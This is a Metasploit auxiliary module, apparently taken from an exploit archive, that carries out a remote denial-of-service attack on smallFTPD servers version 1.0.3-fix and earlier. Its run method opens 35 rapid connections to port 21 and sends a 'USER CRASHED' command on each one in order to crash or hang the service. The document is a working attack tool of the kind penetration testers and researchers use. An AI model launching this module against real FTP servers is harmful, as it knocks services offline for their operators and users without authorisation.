|   1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60  |  # Exploit Title: smallFTPD Connection Saturation Remote Denial of Service # Date: June 27, 2011 # Author: Myo Soe <YGN Ethical Hacker Group - http://yehg.net/> # Software Link: http://smallftpd.sf.net # Version: 1.0.3-fix and earlier # Tested on: windows xp, seven, 2k3 ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Auxiliary  include Msf::Exploit::Remote::Tcp   include Msf::Auxiliary::Dos  def initialize(info = {})  super(update_info(info,  'Name' => 'smallFTPD Connection Saturation Remote Denial of Service',  'Description' => %q{  This module triggers unauthenticated Denial-of-Service condition in SmallFTPD server versions 1.0.3-fix and earlier with a few dozens of connection requests. The vulnerability is probably conerned with smallftpd being unable to handle multiple connections regardless of its maximum connection settings. Upon successful DoS exploit, the smallftpd will crash or still seem functioning by showing its service banner. But in fact it stops denying new FTPrequests, which can be verified only through a valid login.  },  'Author' => [ 'Myo Soe <YGN Ethical Hacker Group - http://yehg.net/>' ],  'License' => MSF_LICENSE,  'Version' => '$Revision:$',  'References' =>  [  [ 'URL', 'http://core.yehg.net/lab/pr0js/advisories/smallftpd_103-fix_saturation_dos' ]  ],  'DisclosureDate' => 'June 2010'))  register_options(  [  Opt::RPORT(21)  ],self.class)  end  def run  print_status("Sending DOS Packets ...")  35.times do |x|  connect  sock.put("USER CRASHED\r\n")   disconnect  end  print_good("Done")   end end  |